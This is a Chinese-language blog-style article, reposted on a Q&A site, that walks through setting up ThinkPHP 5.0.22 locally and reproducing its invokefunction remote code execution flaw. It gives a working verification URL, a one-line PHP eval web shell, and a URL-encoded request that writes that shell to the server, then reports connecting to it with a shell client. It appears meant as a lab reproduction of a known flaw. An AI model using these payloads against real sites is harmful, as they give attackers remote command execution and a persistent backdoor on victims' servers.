专业汉语词典知识平台,分享汉字词语知识、历史文学知识解答!

励北网
励北网

thinkphp框架漏洞总结

来源:小易整编  作者:小易  发布时间:2023-03-07 11:35
摘要:ThinkPHP框架漏洞总结Thinkphp简介ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPH...

ThinkPHP框架漏洞总结

Thinkphp简介

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

Thinkphp本地安装

ThinkPHP框架漏洞总结

本地搭建

1 安装vc9_x86(必装)

ThinkPHP框架漏洞总结

2安装phpstudy20161103

ThinkPHP框架漏洞总结

开启php

ThinkPHP框架漏洞总结

将下载好的thinkphp5.0.22解压,可以得到下图中的内容,将所有文件复制到网站的根目录,也就是www/web(这个是我新建的文件夹)

ThinkPHP框架漏洞总结

输入域名,这里本地,可以输入127.0.0.1或者localhost或者本地ip都可(这里如果是默认的域名,远程访问的时候要改一下hosts文件),网站目录可以是任意文件夹,默认是phpstudy安装目录下的WWW文件夹,点击新增后再点击保存设置并生成配置文件即可:

ThinkPHP框架漏洞总结

ThinkPHP框架漏洞总结

ThinkPHP框架漏洞总结

thinkphp的主目录是在public目录下,所以要进vhosts-conf文件配置目录

ThinkPHP框架漏洞总结

ThinkPHP框架漏洞总结

ThinkPHP框架漏洞总结

即可远程访问

ThinkPHP框架漏洞总结

Thinkphp本地复现

验证poc

http://192.168.8.89/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_arra y&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

ThinkPHP框架漏洞总结

写入一句话

<?php eval($_POST['zcc']);?>

ThinkPHP框架漏洞总结

http://192.168.8.89/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

ThinkPHP框架漏洞总结

可以看见被成功写入

ThinkPHP框架漏洞总结

蚁剑成功连接


本文地址:百科问答频道 https://www.neebe.cn/wenda/917751.html,易企推百科一个免费的知识分享平台,本站部分文章来网络分享,本着互联网分享的精神,如有涉及到您的权益,请联系我们删除,谢谢!


百科问答
小编:小易整编
相关文章相关阅读
  • 七大后台前端UI框架推荐

    七大后台前端UI框架推荐

    今天分享几个前端开发UI框架,这些框架可以帮助那些在小公司没有前端设计人员情况下,快速搭建应用系统界面,在业余时间也可以接私活,很方便搭建后台应用系统界面操作方法01JqueryeasyUI是基于J...

  • 编程框架是什么意思?

    编程框架是什么意思?

    编程框架是一种软件开发工具,它提供标准的、灵活的编程架构,帮助开发者更快的开发软件系统。它提供了一系列可以用于构建应用程序的组件,它们之间具有良好的耦合性,能够帮助应用程序达到最优状态。通常来说,编程框架会集成很多开发工具,如:语言、数据...

  • 网站框架是什么意思?

    网站框架是什么意思?

    网站框架是指一组基础架构,在其中可以构建、构建和发布网站。它将提供一个简单的代码库和编程例程,中间件和其他软件组件,如数据库,安全基础架构和表单控件等,以实现有效的业务逻辑。网站框架一般包括一个网页动态模板引擎,一个数据库存储过程,一个安...

  • 持久层框架是什么意思?

    持久层框架是什么意思?

    持久层框架是操作数据库所用到的一种技术,IBM通过该技术提出了数据库精英(DatabaseElite)结构。它有助于企业在架构上更好地集成企业资源,加强处理数据库的能力,以支持组织有效的数据库应用。这一概念演变为今天的数据库层,也被称为...

  • 谷歌服务框架是什么

    谷歌服务框架是什么

    Google服务框架全称GoogleMobileService。身为框架的GMS是用户想要体验整套Google服务不可绕开的一环,Google地图、Play商店等一系列的得应用都需要它的支持,否则就会无法打开或无法使用全部功能。Goo...

  • Laravel是什么框架

    Laravel是什么框架

    Laravel是一个由TaylorOtwell所建立,免费的开源PHPWeb框架,旨在实现的Web软件的MVC架构,并作为CodeIgniter的替代方案。其源代码托管于GitHub,许可条款为MIT许可证。Laravel是一个...

  • ptf是什么意思,ptf渗透测试器框架介绍

    ptf是什么意思,ptf渗透测试器框架介绍

    ptf是什么意思,ptf渗透测试器框架介绍PenTesters框架(PTF)是一个Python脚本,设计用于基于Debian/Ubuntu/ArchLinux的发行版,以创建类似且熟悉的渗透测试发行版。作为测试者,我们已经习惯了/pente...

  • mpvue是什么,详解基于Vue的开发框架mpvue

    mpvue是什么,详解基于Vue的开发框架mpvue

    mpvue是什么,详解基于Vue的开发框架mpvue接触微信小程序有一段时间的开发者或开发团队,我相信多多少少都会为自己搭建封装一些便于开发的框架/脚手架,尤其是一些做过Web开发的开发者,受到现如今Web主流开发框架如Angular,Re...

  • 周排行
  • 月排行
  • 年排行

精彩推荐